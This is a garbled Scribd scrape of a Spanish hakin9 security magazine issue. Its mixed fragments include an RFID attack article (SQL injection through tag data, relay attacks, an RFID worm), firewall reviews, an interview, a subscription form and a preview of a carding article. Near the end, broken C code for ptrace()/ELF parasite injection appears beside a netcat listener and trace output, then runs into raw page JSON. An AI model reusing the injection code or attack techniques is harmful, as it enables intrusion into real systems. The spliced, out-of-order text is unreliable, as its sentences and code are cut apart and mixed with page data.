fuertemente. con el fin de que cuando este TAG sea leído por el lector.pdf. realizar modificaciones o borrar una tabla. Practical Relay Attacks Against ISO 14443 Proximity Cards Gerhard Hancke & Dr Markus Kuhn. el potencial intruso debería grabar. • RFID – Spoofing De la misma manera que se inyecta esta sentencia. una sentencia de SQL previamente armada. RFID relay attacks – http://www.ac. RFID relay attacks – http://www. A New Approach to Hardware Security Analysis in Semiconductors . decifrar y spoofear un dispositivo RFID utilizado para cargar gasoline y el otro. Refenrecias y Lecturas Complementarias: • Fundamentals and Applications in Contactless Smartcards & Identification . este pase los datos al middleware y posteriormente esta sentencia se ejecute en la base de datos. pruebas en las cuales se logró con éxito crear y replicar el primer worm que utilza la tecnología RFID. entre las que se pueden mencionar. A New Approach to Hardware Security Analysis in SemiconductorsSergi Skorobogatov.uk/~gh275/relay. en tareas relacionadas con INFOSEC. que tienen este tipo de ataques hacen que los controles de seguridad existentes puedan no tener sentido. esta nueva tecnología no queda fuera del alcance del mismo. RFID Essentials O’Reilly. La creatividad. pero mucho mas cómodo es darle un nuevo uso al famoso SILVER TAPE (Figura 7). del tipo activo. RFID virus – http://www.

así que puede fastidiar bastante si el uso que se le va a dar es doméstico. cumplía casi todas mis expectativas (por no decir Si.. restricción a troyanos spyware etc. En la página podemos descargar el producto y las actualizaciones que vayan saliendo. prevención de entrar en un ataque man-in-the-middle.y su ejecución. haber de disponer de alguna herramienta extra para eliminar espías. Para administradores. Puede resultar difícil en ocasiones encontrar buenos productos firewall gratuitos para la plataforma windows y este es uno de ellos. y de haber estado tratando principalmente con el sistema Linux. tiene otras grandes características que no se pueden dejar de lado. ¿Recomendaría este producto a otras personas? ¿A quién especialmente? ¿Cuáles son los puntos más fuertes del firewall? Además de ejercer una gran tarea como cortafuegos (gracias a una versión windowsera del gran Packet Filter de OpenBSD) y ser gratuito.. mi valoración personal es Excelente. me hizo creer que también podría encontrar alguna aplicación para windows que si bien no fuese libre de código si que lo fuese de distribución y a poder ser que lo tuviera todo (como Panda o Nod32). Y además su gran cantidad de opciones y puntos de vista pueden hacerlo largo de configurar. la instalación nos pide el nivel de seguridad al que lo queremos someter (siempre recomendado el mas bajo para usuarios domésticos). ¿El precio y si está adecuado a los servicios ofrecidos por el producto? El producto es gratuito y se distribuye usando la licencia Apache... en cambio. conseguí prepararlo poco a poco aplicando actualizaciones también cuando debía. todo según la integridad que deseemos en el equipo. En mi caso tan solo dispongo de una mini-red doméstica de dos ordenadores y después de haberla puesto a prueba en alguna ocasión decidí buscar algún remedio. especialmente a gente que cuente con sistemas windows y no disponga de recursos para pagar un firewall comercial. 74 www. ¿y porqué no? Poder notar si se me esta lanzando un programa o exploit. Buscando y probando productos leí sobre la versión Beta de Coreforce y aquí fue cuando finalice la búsqueda.com).Test de consumidores Test de consumidores Firewalls DANILO SANZ MORENO Estudiante de Desarrollo de Aplicaciones ¿El nombre del firewall y la empresa productora? Core-force es producto para plataformas windows de una comunidad dedicada a la seguridad y llamada Core Security Technologies (http:// force. Nunca pensé en usar el software del switch-router. a aquellas personas que busquen herramientas de instalar y olvidar o gente sin mucha preocupación sobre la seguridad del sistema. Para mi gusto estos son los puntos más fuertes. salvo para el acceso inalámbrico WLAN en algún caso. Cabe decir que el firewall va destinado a ser usado de cara a una red. Después de pasar mis seis meses junto la suite Panda y obtener muy buenos resultados pensé que para mi caso no requería tanto control sobre virus pues era prácticamente imposible infectarme. muy bien de hecho. Su interfaz es muy intuitiva y amigable y durante Recomendaría este producto a personas con conocimientos de inglés.hakin9. se produjera una modificación en el registro de windows.coresecurity. Nos permite un control total sobre la red: control de tráfico entrante y saliente. sino que más bien necesitaba un cortafuegos en el que yo observase momentos en que una aplicación tuviese acceso a Internet. El carácter novedoso del producto (hará poco mas de un año) hace que aún no esté consagrado. si bien al principio tuve que leer casi todo el manual así como algunas de las FAQ’S por su tremenda cantidad de opciones. ¿Y los débiles?¿Hay algo que se debería cambiar o mejorar? ¿Cuál fue el motivo de elegir esta marca y si cree Usted que su elección ha sido buena? ¿El producto ha cumplido con sus expectativas? El punto más débil del producto (o el único según algunas personas) es que el producto solo se encuentra disponible en Inglés (esto puede ser algo tedioso para muchos usuarios). en servidores basados en windows de sitios propensos a ataques también recomendaría este producto.org . todas) pero el hecho de ser comercial (haberlo tenido solamente durante el periodo de prueba). pero tiempo al tiempo. No es muy recomendable. En mi búsqueda topé con muchos antispy y un gran firewall de la compañía ZoneLabs. prevención del uso de exploits contra nuestro equipo y control de acceso al registro. Llevo casi un año con el y.

que siempre ¿El producto ha cumplido con sus expectativas? En efecto.Test de consumidores ¿Cuáles son los puntos más fuertes del firewall? LUIS ENRIQUE CORREDERA DE COLSA Socio Director de Flag Solutions.org 75 . Generalmente preferimos el uso de Debian GNU Linux. y registro de la actividad de red para las reglas y configuración dinámica de reglas en función de los registros. en este firewall y en su amplia gama de productos. por su facilidad para elaborar instalaciones reducidas sin instalar paquetes innecesarios. es una prestigiosa marca que lleva en el mercado de seguridad más de 7 años dedicada a la comercialización de productos de seguridad. ya que es un producto de bajo coste. Existen ya aplicaciones en este sentido. ¿Cuáles son los puntos más fuertes del firewall? ¿Y los débiles?¿Hay algo que se debería cambiar o mejorar? ¿Cuál fue el motivo de elegir esta marca y si cree Usted que su elección ha sido buena? Zone labs. filtrado de paquetes con gestión de estados completa. Posiblemente sería conveniente desarrollar una interfaz gráfica de usuario para la edición de las reglas. ya que al dar el aviso de que un programa intenta interactuar con otro proceso se puede parar fácilmente. El único inconveniente pasa por tener que instalar un sistema operativo en un pequeño servidor. ¿Recomendaría este producto a otras personas? ¿A quién especialmente? Recomendaría la implantación de este producto en pymes. un usuario inexperto que le permite configurar sin problemas el programa. ¿El precio y si está adecuado a los servicios ofrecidos por el producto? ¿El producto ha cumplido con sus expectativas? Si y de sobra. y sus molestos y continuos avisos que aparecen en forma de pop-ups. El firewall que solemos emplear para las pymes son sistemas informáticos con GNU-Linux e IPTables. en materia de Seguridad Informática y Profesor de Seguridad Informática. ¿Cuál fue el motivo de elegir esta marca y si cree Usted que su elección ha sido buena? ¿Y los débiles?¿Hay algo que se debería cambiar o mejorar? ¿El precio y si está adecuado a los servicios ofrecidos por el producto? El motivo de elegir el producto de Firewall que usamos fue la experiencia. ya que no existen costes de licencia. o en un sistema antiguo. ¿El nombre del firewall y la empresa productora? ocupa más tiempo que desembalar un producto empotrado y enchufarlo. ¿Recomendaría este producto a otras personas? ¿A quién especialmente? Si a todos los usuarios de empresas pequeñas (redes locales de 2 o 3 puestos) o especialmente a usuarios noveles que deseen una protección total. La sencillez para añadir nuevas reglas y editar la existentes. puedes comprar el pack y después ir comprando licencia de actualizaciones por año. esto es interesante para prevenir ataques de Firewall Bypass. y el administrador de redes tiene que configurar las reglas del firewall en cualquier tipo de sistema. Facilidad para establecer túneles IPSec entre diferentes puntos. Facilidad para integración de sistemas IDS basados en Snort. el producto nos permite establecer el mapping de direcciones ip. Zone Labs. www. pero son poco versátiles. JAIME GUTIERREZ Estudiante y programador de aplicaciones en Java ¿El nombre del firewall y la empresa productora? Zone Alarm . ya que puede emplearse para esta tarea algún pequeño sistema informático retirado de producción o desarrollo. Sin duda es adecuado. y cumple debidamente la mayoría de los requisitos que puede tener una empresa. Esto me motivo a confiar Los puntos fuertes son varios: el programa utiliza hooks para ver si otros programas intentan modificar procesos o modificar calves del registro. Si totalmente. y la configuración. Su interfaz muy amigable dirigida a Su filtrado de paquetes. el rendimiento que proporciona principalmente a nuestras empresas (pequeñas y medianas empresas). El bajo coste. También posee opciones avanzadas para usuarios avanzados.hakin9. El poder analizar el estado de las conexiones y emplearlo como criterio para el filtrado. Doctorando en Ingeniería del Software.

El uso de los recursos del sistema es muy bajo.blogspot.org 76 . Quizás uno de los puntos que a la larga más nos ha interesado ha sido la protección contra spyware. 46. Outpost Firewall puede monitorear hasta 1 GB/seg de tráfico contínuo y más de 200 conexiones simultáneas. su relación calidad precio y por no necesitar muchos recursos del sistema. el soporte de plug-ins y su arquitectura abierta. Un precio muy ajustado para el servicio prestado. Madrid.Test de consumidores NOELIA GARCÍA NOGUERA Abogada Especialista en Derecho de las Nuevas Tecnologías. ¿Cuáles son los puntos más fuertes del firewall? ¿El nombre del firewall y la empresa productora? Outpost Firewall Pro. También permite crear múltiples configuraciones y monitorizar la actividad de la red y realizar un bloqueo de contenidos impidiendo el acceso a páginas inadecuadas. El precio y si está adecuado a los servicios ofrecidos por el producto? Uno de los motivos fue la facilidad de uso.99 €. ¿Recomendaría este producto a otras personas? ¿A quién especialmente? Lo recomendaría especialmente a ususarios avanzados y en entornos donde sacarle el máximo partido a toda la funcionalidad que permite. oí hablar de ella en foro y decidí probarla.com). Yo buscaba un firewall fácil de configurar por un usuario inexperto.11 de Ashampoo GmbH & Co.com/ ¿El nombre del programa y la empresa productora? A shampoo FireWall PRO 1. Autor del blog sobre seguridad informática: http://vtroger. Responsable de contenidos del portal www. Otros puntos fuertes es la gran información que ofrece sobre los sucesos y su poder de protección. Además se integración con el antivirus NOD32. que permite a desarrolladores independientes mejorar su funcionalidad. de la empresa Agnitum. Master en Derecho de las Nuevas Tecnologías. para licencia corporativa. La elección ha sido la correcta. Tiene una versión gratuita con menos opciones. Entre otros firewalls me decidí por su bajo consumo de recursos. ¿Y los débiles?¿Hay algo que se debería cambiar o mejorar? El tamaño de los ficheros de log puede llegar a ser excesivo y su acceso demasiado lento.hakin9.99 € y cinco licencias mas otra de regalo. Estable y consume pocos recursos. Debería incorporar la posibilidad de importar e exportar la configuración o como mínimo poder exportar las reglas de bloqueo. tiene descuentos si se compran tres licencias. y A shampoo FireWall PRO cumple estos requisitos con creces. Aliter. para implementar en ordenador personales y redes pequeñas de empresas. ¿Y los débiles?¿Hay algo que se debería cambiar o mejorar? www. que junto con su asistente de la instalación para configurar paso a paso. Por su facilidad de configuración. Posee un modo fácil. que consumiera pocos recursos. Directora del despacho de abogados Portaley Nuevas Tecnologías. su precio es de 44.portaley. com.delitosinformaticos. Abogada Especialista en Derecho de las Nuevas Tecnologías. (http://www. Colegiada en el Ilustre Colegio de Abogados de Madrid. ¿Cuáles son los puntos fuertes del programa? ¿Recomendaría este producto a otras personas? ¿A quién especialmente? ¿Cuál fue el motivo de elegir esta marca y si cree Usted que su elección ha sido buena? Me gusta probar herramientas de seguridad y esta en concreto. Recomendaría este firewall a usuarios inexpertos como imprescindible en su ordenador personal y a pequeñas empresas que no tengan una red de más de 10 equipos. ha cumplido las expectativas. ¿El producto ha cumplido con sus expectativas? ¿Cuál fue el motivo de elegir esta marca y si cree Usted que su elección ha sido buena? Si.KG ¿El producto ha cumplido con sus expectativas? El precio y si está adecuado a los servicios ofrecidos por el producto? Cuesta 29. ÁLVARO PAZ LABORANS Trabaja en el departamento de soporte técnico de una empresa IT. es ideal para usuarios que no tengan conocimientos de protocolos. Solo esta disponible en dos idiomas Inglés y Alemán. Escuela Internacional de Negocios. algo muy importante en un ordenador personal.34 euros por usuario.

com Web especializada en artículos técnicos sobre Linux. http://www. Si te gusta este mundo. dudas. te gustará elhacker.net.cyruxnet. Aquí encontrarás las últimas noticias sobre Linux y Software Libre.com DelitosInformaticos. y más cosas a ritmo de blues.diginota. noticias. programas oscuros. trucos.com Aquí encontrarás todo lo que debes saber www.indaya.hispabyte. http://www.net Indaya teaM fue creada por un grupo de personas amantes de la informática para ayudar a todos los que se interesan por la informática. enlaces. comunidad de usuarios en la que se tratan temas de actualidad sobre nuevas tecnologías.daboweb.delitosinformaticos. foros.com revista digital de información legal sobre nuevas tecnologías. www. http://www. http://www.viejoblues.com Seguridad0 es un magazine gratuito de seguridad informática..org .com Un lugar de encuentro para todos interesados en temas de seguridad www. http://www. www.net CyruxNET – allí encontrarás la información detallada sobre las técnicas hack más populares.com Hack Hispano.org Sitio de noticias que brinda la más variada información en cuanto al mundo de los móviles. www. http://www. fondos de escritorio y una biblioteca repleta de artículos interesantes. software..hackhispano.. y mucho más.Páginas recomendadas Una especie de portal para la gente a que le gusta la informática y la seguridad.seguridad0.com. foros. http://www..diariolinux. aunque se anaden noticias a diario. Tiene una periodicidad semanal.segu-info.com Páginas recomendadas Si tienes una página web interesante y quieres que la presentemos en nuestra sección de “Páginas recomendadas” contáctanos: es@hakin9.elhacker. informática e Internet. Internet y seguridad informática.com Un espacio libre para compartir: descargas. contactos. Allí encontrarás enlaces.ar Tecnología.

Mis comienzos en la seguridad fueron casuales. spyware y demás? 78 www. había muy poca competencia en el sector de la seguridad. Hablamos con Sancho Lerena. de la seguridad. Lo más difícil a la hora de montar nuestra empresa fue sin duda dar el primer paso.Entervista Cuánta más complejidad tecnológica. He tardado bastantes años en poder volver a lo que me gustaba. en su opinión. Director Técnico de Ártica Soluciones Tecnológicas. virus. antivirus. la cadena de confianza se alarga peligrosamente. anti-espías etc. y que personalmente. ni que decir tiene que había también muy poco conocimiento. allá por 1998. En esto consiste precisamente nuestro proyecto empresarial. me apasiona ya que devuelve el conocimiento a los profesionales en vez de encerrarlo en las compañías.org . hoy en día da más dinero: la seguridad. que nos cuenta sobre los inícios de su carrera profesional en el mercado de la Seguridad Informática.L. balanceo. Ahora mismo hay mucha competencia y hay bastante conocimiento respecto a herramientas comerciales y proyectos basados en herramientas.hakin9. Desde los últimos años me he centrado en aquellas áreas que tenían más puntos en común con el Software Libre. disponibilidad. y muy especialmente. o la contra-seguridad. hakin9: ¿Fue fácil conquistar este mercado? ¿Qué es lo qué fue lo más difícil a la hora de empezar su negocio? ¿El mercado español de la Seguridad Informática ha cambiado mucho desde aquel tiempo? ¿Hay mucha competencia en este campo? S. Existen muchas incertidumbres cuando te planteas hacer algo novedoso en un sector tan rígido como el de la seguridad. Sancho Lerena hakin9: ¿Podría presentarse a nuestros lectores? ¿Cuáles son sus actividades profesionales y cuál fue su camino profesional. ya que es algo que considero clave en el futuro de la informática en general. comenta la situación actual y nos presenta sus opiniones acerca del mundo de los hackers. y de ahí derivé muy casi sin querer a elementos de firewalling. pero poca experiencia en innovar y en desarrollar proyectos adaptados a la problemática real de los clientes. y crear un proyecto empresarial basado en Software Libre es algo innovador. hakin9: ¿Qué es lo que.: En los inicios de la seguridad. porque a mi me interesaban mucho más los temas de networking y sistemas. y me pasé por completo a la seguridad informática.. cuándo y por qué relacionó su carrera con la Seguridad Informática? Sancho Lerena: Soy ingeniero informático y llevo trabajando casi diez años en temas de seguridad informática.. y que esa relación es realmente lo importante. es decir. pero esta vez entendiendo mucho mejor que la seguridad informática es un conjunto de disciplinas interrelacionadas.

y a menudo están dispuestos a correr ciertos riesgos controlados. hakin9: Actualmente muchas de las empresas.Entrevista a Sancho Lerena S. la cadena de confianza se alarga peligrosamente y perdemos completamente el control de los elementos que gestionan nuestra información. Hay hackers en todos los campos de la informática. La mayoría de medios no especializados hablan de crackers usando el término hacker y las pocas veces que aluden correctamente a algún hacker lo hacen sólo para hablar de problemas que ha causado. por ejemplo Linus Tolvalds es un hacker de la programación de sistemas. generalmente con otras motivaciones diferentes a la sed de conocimiento. etc) era mucho mayor y casi todo cabía en el saco de la auditoría de seguridad. y es debido a la difusión incorrecta del término hacker. e incluso asegurar que la personalización está al alcance de casi cualquiera sin depender de un sólo fabricante. Cuanta más complejidad tecnológica existe. l www. En el campo de la seguridad se aplica al pie de la letra eso de que una manzana podrida pudre el cesto. Eso marca una diferencia bastante importante. de forma que no podemos dejar de lado ningún aspecto crítico si no queremos fallar. de otro departamento o similar). ya sean de seguridad informática u otras. Hoy día son términos mucho más diferenciados. tanto para los clientes como para nosotros. habrá una problemática de seguridad tan diversa que será imposible de auto-gestionarla adecuadamente. muchas veces por ego.L: Nosotros apostamos totalmente por el Software Libre por una razón obvia: Es la única manera de saber lo que haces o lo que tienes sin confiar únicamente en el criterio de terceras personas. de las empresas y las personas que lo forman -. hakin9: Y la última pregunta: ¿Cuál es la clave del éxito? ¿Qué consejos daría a los que quieren relacionar su carrera profesional con el sector de la Seguridad Informática? S. por su naturaleza mucho menos técnica.L: Lo más importante es saber separar los aspectos técnicos de los no técnicos. también aprende rompiendo. la única manera de cubrir todas las posibles carencias que tengamos. ya que antes la dificultad de encontrar alguien con conocimientos sobre auditoría (conocimientos ISO. o solo es el nombre de un negocio que se vende al mejor postor? S. Por eso no abundan equipos buenos de hacking ético con experiencia práctica. Pocas personas que realizan habitualmente hacking ético son hackers con experiencia real en intrusiones legalmente perseguibles. es inevitable. certificaciones CISA. lo que deja al factor humano – el conocimiento del sector. y que a veces. ¿Cuál es su opinión respecto a esta idea? S. Los problemas de seguridad van a ir aumentando parejos a los avances técnicos y a las nuevas posibilidades que ofrece la tecnología. Hoy día los clientes que de verdad quieren asegurarse de que sus sistemas son seguros (de cara a una auditoría externa.L: Esa.L: Creo que llegaremos a un punto en que el sin una gestión eficaz. y la obtención de grandes primas por resultados debería ser una de las mejores formas de asegurar resultados. hakin9: ¿Cómo diferenciaría usted el concepto de Hacker. no en los aspectos técnicos en sí mismos.L: Creemos que sin duda lo más difícil de hacer por su complejidad humana y técnica es lo que más beneficios puede generar.hakin9. afortunadamente. La gente que si lo ha hecho además suele ser bastante conflictiva para trabajar en equipo y muy complicada de manejar. y con bastante peor marketing. Cuando no existe esa presión. Tanto empresas como particulares habrán de confiar la seguridad en servicios externos. Además la dependencia tecnológica en un sector como la seguridad puede ser muy arriesgada. han penetrado en sus sistemas. interés económico. alguien con una sed insaciable de conocimiento. ya que en Seguridad Informática muchas veces el problema está en cómo gestionamos los aspectos técnicos. o bien. hakin9: ¿El hacking ético es realmente lo que dice ser. El hacking ético que funciona tiene mucho más que ver con la experiencia y una forma de pensar diferente a lo habitual que el conocer un montón de técnicas de cracking o de vulnerabilidades. Por otro lado es imposible estar al día en todo. Un cracker es una persona que sólo disfruta rompiendo.L: Para mi un hacker es alguien que aprende constantemente.L: Sin duda la mayoría de la gente tiene un concepto equivocado. o han cumplido una pena por un delito similar. del concepto de Cracker? S. hakin9: ¿Qué opina Usted referente al software libre y su presencia en el mundo de seguridad informática? ¿Lo usa a nivel empresarial? S. hakin9: ¿Realmente cree que la sociedad tiene el mismo concepto de ambos? Si es así: ¿A qué cree que es debido? S. contratan a las personas que.org 79 .L: El término de hacking ético se inventó para diferenciarlo de las auditorías de seguridad. que a su vez confían en el criterio de otras personas o entidades que ni siquiera conocemos de primera mano. hakin9: ¿Es la inseguridad informática la verdadera amenaza del futuro en esta sociedad que se hace llamar la sociedad de la información? O al contrario: ¿cree Usted que es posible que llegue día en el que la tecnología evolucionará hasta un punto en el que no sean necesarios los antivirus y demás programas de seguridad informática? S. no se piensa de igual manera que si sabes que estás haciendo algo peligroso. sin mencionar sus motivaciones o sus aportaciones positivas a la comunidad. La gestión de la seguridad es a día de hoy el mayor problema en cualquier corporación o empresa de tamaño medio / grande. y con el Software Libre podemos garantizar diferentes puntos de soporte independientes. o simplemente por puro entretenimiento. no sólo en la seguridad.

www. ¡Suscripción segura a todas las revistas de Software-Wydawnictwo! . • rapidez en atender tu pedido.com ¡Suscríbete a tus revistas favoritas y pide los números atrasados! ¡Regalos para nuevos suscriptores! Ahora te puedes suscribir a tus revistas preferidas en tan sólo un momento y de manera segura. • pago en línea. Te garantizamos: • precios preferibles.buyitpress.

.............P.......... Suscripción a partir del No ............................................... Bokserska 1............................................ e-mail (para poder recibir la factura) ............... o...........................................................................pl Nombre(s) ............ Polonia............................................................................................0 Bimestral para programadores profesionales Linux+DVD (2 DVDs) Mensual con dos DVDs dedicado a Linux Hakin9 – ¿cómo defenderse? (2 CD-ROM) Mensual para las personas que se interesan por la seguridad de sistemas informáticos Linux+Pack (7 CD-ROMs) Las distribuciones de Linux más populares MSCoder (2 CD-ROM) Independent magazine for developers using Microsoft platforms número de ejemplares al año número de suscripciones a partir del número Precio 6 38 € 12 69 € 12 69 € 8 65 € 6 En total 38 € Realizo el pago con: □ tarjeta de crédito (EuroCard/MasterCard/Visa/American Express) nO CVC Code □ transferencia bancaria a BANCO SANTANDER CENTRAL HISPANO Número de la cuenta bancaria: 0049-1555-11-221-0160876 IBAN: ES33 0049 1555 1122 1016 0876 código SWIFT del banco (BIC): BSCHESMM Fecha y firma obligatorias: Válida hasta .............Pedido de suscripción Por favor................................................ Teléfono .......................... Población ................................................................. e-mail: suscripcion@software... Dirección ........................................ o Renovación automática de la suscripción Título Sofware Developer’s Journal Extra! (1 CD-ROM) – el antiguo Software 2.........................................................................................com............... Apellido(s) .................................................................................................................................................................................................................................................................................................................... C................... 02-682 Varsovia.................................................. z o............................................................................................................................................................... Fax ........ ............ rellena este cupón y mándalo por fax: 0048 22 887 10 11 o por correo: Software-Wydawnictwo Sp.................................................................

Nicolas Castellano. Explicación desde que un carder obtiene una tarjeta hasta que el banco se da cuenta del fraude.hakin9. HDH: Busca un patrón en los distintos proveedores de DNS Dinámicos. Analizamos los datos de una tarjeta de crédito y consecuencias legales en diferentes países para el carder y hablaremos de cómo se lleva a cabo un ataque. es útil a la hora de seguir el rastro en un ambiente del tipo black box para pentesting. Nicolas Castellano. Conoceremos también sus opiniones acerca de la actividad de los hackers hispanohablantes y los gurús de hoy en día. . Hablaremos con J. La redacción se reserva el derecho a cambiar el contenido de la revista. políticas que permite. posibilidades extra. Carding: Nociones básicas de pishing y carding Ataque ¿El comercio online es 100% seguro? ¿Cómo viajan nuestros datos? ¿En quién debemos confiar? ¿Cómo los carders obtienen tarjetas de crédito? Consecuencias de que te roben los datos bancarios. Información actual sobre el próximo número – http://www. entre otros: Hunter Dynamic Host Herramientas Esta muy simple herramienta programada en bash scripts. Presidente de la Asociación No cOn Name nos contará cómo surgió la idea de crear la Asociación. modo de funcionamiento (daemon en lugar de cron). Control de integridad de ficheros con Samhain Defensa En el artículo se tratará algunos de los aspectos teóricos de la introducción a la integridad de ficheros. La parte práctica del artículo se concentrará alrededor de tales temas como: instalación y sugerencia de configuración y la pequeña batería de test para comprobar el correcto funcionamiento. Presidente de la Asociación No cON Name Entrevista J. cuáles son sus objetivos principales y cuál es el lugar de las asociaciones sin animo de lucro en el mundo de los profesionales de seguridad informática.hakin9 3/2007 Próximo número En el número siguiente.org/es El número está a la venta desde principios de Marzo de 2007. algunas características de Samhain como por ejemplo: función resumen empleada.

Intereses relacionados

s GOT address\n"). input) != 1) goto end.0. Simplemente esa la instrucción grep para reubicar de syscall. * the payload can't (safely) exceed 244 bytes ! */ if (inject_parasite_size() > size) { // validate the size fprintf(stderr. return (-1). } /* * entonces necesitamos pensar del tamaño. 1. /* * read ELF binary header + do calculations */ *size = sizeof(Elf32_Ehdr) + ehdr. snprintf(buf. sizeof(buf). return (-1). char buf[128].1] 1111 (?) open [1]+ Exit 105 nc -lp 1111 server:~# Ahora vamos a probar la salida de trazado en la terminal B: accept(3. i++) { Elf32_Phdr phdr. } /* * readgot es función que devuelve read()'s * dirección de la tabla global de equilibrio. sin embargo. sin_addr=inet_addr ("127.e_phnum * sizeof(Elf32_Phdr). for (i = 0. es algo diferente. FILE *input. Esta es inyección ptrace().p_vaddr. esto está algo limitado ya que solamente se ejecuta una vez.1")}. } } end:. ehdr. return (-1). pid). i < ehdr. input) != 1) goto end. "/proc/%d/exe". "unable to locate pid %d"},"eligible_for_exclusive_trial_roadblock":false,"eligible_for_seo_roadblock":false,"exclusive_free_trial_roadblock_props_path":"/doc-page/exclusive-free-trial-props/94749503","flashes":[],"footer_props":{"urls":{"about":"/about","press":"/press","blog":"http://literally.scribd.com/","careers":"/careers","contact":"/contact","plans_landing":"/subscribe","referrals":"/referrals?source=footer","giftcards":"/giftcards","faq":"/faq","accessibility":"/accessibility-policy","faq_paths":{"accounts":"https://support.scribd.com/hc/sections/202246346","announcements":"https://support.scribd.com/hc/sections/202246066","copyright":"https://support.scribd.com/hc/sections/202246086","downloading":"https://support.scribd.com/hc/articles/210135046","publishing":"https://support.scribd.com/hc/sections/202246366","reading":"https://support.scribd.com/hc/sections/202246406","selling":"https://support.scribd.com/hc/sections/202246326","store":"https://support.scribd.com/hc/sections/202246306","status":"https://support.scribd.com/hc/en-us/articles/360001202872","terms":"https://support.scribd.com/hc/sections/202246126","writing":"https://support.scribd.com/hc/sections/202246366","adchoices":"https://support.scribd.com/hc/articles/210129366","paid_features":"https://support.scribd.com/hc/sections/202246306","failed_uploads":"https://support.scribd.com/hc/en-us/articles/210134586-Troubleshooting-uploads-and-conversions","copyright_infringement":"https://support.scribd.com/hc/en-us/articles/210128946-DMCA-copyright-infringement-takedown-notification-policy","end_user_license":"https://support.scribd.com/hc/en-us/articles/210129486","terms_of_use":"https://support.scribd.com/hc/en-us/articles/210129326-General-Terms-of-Use"},"publishers":"/publishers","static_terms":"/terms","static_privacy":"/privacy","copyright":"/copyright","ios_app":"https://itunes.apple.com/us/app/scribd-worlds-largest-online/id542557212?mt=8&uo=4&at=11lGEE","android_app":"https://play.google.com/store/apps/details?id=com.scribd.app.reader0&hl=en","books":"/books","sitemap":"/directory"}},"global_nav_props":{"header_props":{"logo_src":"/images/landing/home2_landing/scribd_logo_horiz_small.svg","root_url":"https://www.scribd.com/","search_term":"","small_logo_src":"/images/logos/scribd_s_logo.png","uploads_url":"/upload-document","search_props":{"redirect_to_app":true,"search_url":"/search","search_test":"control","query":"","search_page":false}},"user_menu_props":null,"sidebar_props":{"urls":{"bestsellers":"https://www.scribd.com/bestsellers","home":"https://www.scribd.com/","saved":"/saved","subscribe":"/archive/pmp_checkout?doc=94749503&metadata=%7B%22context%22%3A%22pmp%22%2C%22action%22%3A%22start_trial%22%2C%22logged_in%22%3Afalse%2C%22platform%22%3A%22web%22%7D","top_charts":"/bestsellers","upload":"https://www.scribd.com/upload-document"},"categories":{"book":{"icon":"icon-ic_book","icon_filled":"icon-ic_book_fill","url":"https://es.scribd.com/books","name":"Libros","type":"book"},"news":{"icon":"icon-ic_articles","icon_filled":"icon-ic_articles_fill","url":"https://es.scribd.com/news","name":"Noticias","type":"news"},"audiobook":{"icon":"icon-ic_audiobook","icon_filled":"icon-ic_audiobook_fill","url":"https://es.scribd.com/audiobooks","name":"Audiolibros","type":"audiobook"},"magazine":{"icon":"icon-ic_magazine","icon_filled":"icon-ic_magazine_fill","url":"https://es.scribd.com/magazines","name":"Revistas","type":"magazine"},"document":{"icon":"icon-ic_document","icon_filled":"icon-ic_document_fill","url":"https://es.scribd.com/docs","name":"Documentos","type":"document"},"sheet_music":{"icon":"icon-ic_songbook","icon_filled":"icon-ic_songbook_fill","url":"https://es.scribd.com/sheetmusic","name":"Partitura","type":"sheet_music"}},"categories_array":["mixed","book","audiobook","magazine","news","document","sheet_music"],"selected_content_type":"mixed","username":"","search_overlay_props":{"search_input_props":{"focused":false,"keep_suggestions_on_blur":false}}}},"recommenders":{"related_titles_recommender":{"item_props":[{"type":"document","id":86934805,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/86934805/108x144/854f6440bd/1332873907?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/86934805/216x288/1106e6f65e/1332873907?v=1","title":"Como+Sacar+El+Maximo+Provecho+a+Internet +Jornada3","short_title":"Como+Sacar+El+Maximo+Provecho+a+Internet +Jornada3","author":"Roberto Silva Torres","tracking":{"object_type":"document","object_id":86934805,"track":"flattened_recommender","doc_uuid":"io+eTNjwv0Xc3NTxVbbpZ7BXGg0="},"url":"https://www.scribd.com/document/86934805/Como-Sacar-El-Maximo-Provecho-a-Internet-Jornada3"},{"type":"document","id":341150582,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/341150582/108x144/239f10bc8c/1488868418?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/341150582/216x288/79fe39bbaf/1488868418?v=1","title":"Políticas Del Blog o Web Magazine HYGGE","short_title":"Políticas Del Blog o Web Magazine HYGGE","author":"laez_cristina","tracking":{"object_type":"document","object_id":341150582,"track":"flattened_recommender","doc_uuid":"0ZqlhwvD3zYM/qWnGx//nfMZ0Ek="},"url":"https://www.scribd.com/document/341150582/Politicas-Del-Blog-o-Web-Magazine-HYGGE"},{"type":"document","id":335396769,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/335396769/108x144/79e2f4cb47/1483176523?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/335396769/216x288/35b1577e12/1483176523?v=1","title":"Intro Software U-1","short_title":"Intro Software U-1","author":"Franco Torres","tracking":{"object_type":"document","object_id":335396769,"track":"flattened_recommender","doc_uuid":"bXqgBHJ4g5+lhC3jdKjX4MD5qLY="},"url":"https://www.scribd.com/document/335396769/Intro-Software-U-1"},{"type":"document","id":95313583,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/95313583/108x144/0cddc5b182/1392645878?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/95313583/216x288/0639fbf688/1392645878?v=1","title":"Gacetilla CCNA","short_title":"Gacetilla CCNA","author":"RonaldHuamánRomero","tracking":{"object_type":"document","object_id":95313583,"track":"flattened_recommender","doc_uuid":"OQViq1BQyCVRssLs0QY4f9WEsjI="},"url":"https://www.scribd.com/document/95313583/Gacetilla-CCNA"},{"type":"document","id":366676961,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/366676961/108x144/54bf6ab703/1512755938?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/366676961/216x288/d7d4b2d56b/1512755938?v=1","title":"Nociones Básicas de Seguridad InformáticaUnidad1","short_title":"Nociones Básicas de Seguridad 